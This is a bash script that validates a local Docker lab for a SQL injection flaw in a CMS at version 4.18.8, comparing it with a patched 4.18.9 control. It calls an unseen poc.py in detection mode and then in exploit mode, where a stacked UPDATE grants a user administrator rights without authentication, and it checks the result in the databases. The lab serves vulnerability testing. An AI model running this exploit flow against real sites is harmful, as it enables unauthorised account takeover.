#!/bin/bash
# End-to-end validation of the CVE-2026-123488 lab.
# Proves: (1) vulnerable 4.18.8 is exploitable, (2) patched 4.18.9 control is not.
# Run from the repo root after `docker compose up -d` (wait ~2 min for installs).
set -u
VULN="http://localhost:18080/index.php?p=search"
PATCHED="http://localhost:18081/index.php?p=search"
DELAY="${DELAY:-3}"

step() { echo; echo "=== $1 ==="; }

step "[0] sanity: both sites answer a benign search"
for h in 18080 18081; do
  curl -s -o /dev/null -w "  :$h -> HTTP %{http_code}\n" "http://localhost:$h/index.php?p=search&search%5Bquery%5D=hello"
done

step "[1] baseline: reset admin flag to 0 on BOTH databases"
docker compose exec -T mysql mysql -ucraft -pcraftpw craft_vuln    -e "update users set admin=0 where username='admin'; select username,admin from users;" 2>/dev/null
docker compose exec -T mysql mysql -ucraft -pcraftpw craft_patched -e "update users set admin=0 where username='admin'; select username,admin from users;" 2>/dev/null

step "[2] time-based detection: vulnerable 4.18.8 (expect a big delay)"
python3 poc.py --detect --target "$VULN" --delay "$DELAY"

step "[3] negative control: patched 4.18.9 (expect 'no delay')"
python3 poc.py --detect --target "$PATCHED" --delay "$DELAY"

step "[3b] invariant: --detect must NOT write (vuln flag still 0)"
FLAG=$(docker compose exec -T mysql mysql -ucraft -pcraftpw craft_vuln -N -e "select admin from users where username='admin';" 2>/dev/null)
if [ "$FLAG" != "0" ]; then
  echo "FAIL: admin flag = $FLAG after detection-only run — detection wrote!"
  exit 1
fi
echo "OK: admin flag still 0 after detection-only run"

step "[4] stacked UPDATE on 4.18.8 (detection + write)"
python3 poc.py --exploit --target "$VULN" --delay "$DELAY" --table users --adminuser admin

step "[5] verdict: admin flag after the unauthenticated request"
echo "--- craft_vuln (expect admin=1: flipped by poc.py) ---"
docker compose exec -T mysql mysql -ucraft -pcraftpw craft_vuln    -e "select username,admin from users;" 2>/dev/null
echo "--- craft_patched (expect admin=0: unchanged) ---"
docker compose exec -T mysql mysql -ucraft -pcraftpw craft_patched -e "select username,admin from users;" 2>/dev/null

step "[6] prerequisite: emulated prepares (PDO::ATTR_EMULATE_PREPARES)"
docker compose exec -T craft-vuln php -r '$p=new PDO("mysql:host=mysql;dbname=craft_vuln","craft","craftpw");var_dump($p->getAttribute(PDO::ATTR_EMULATE_PREPARES));'
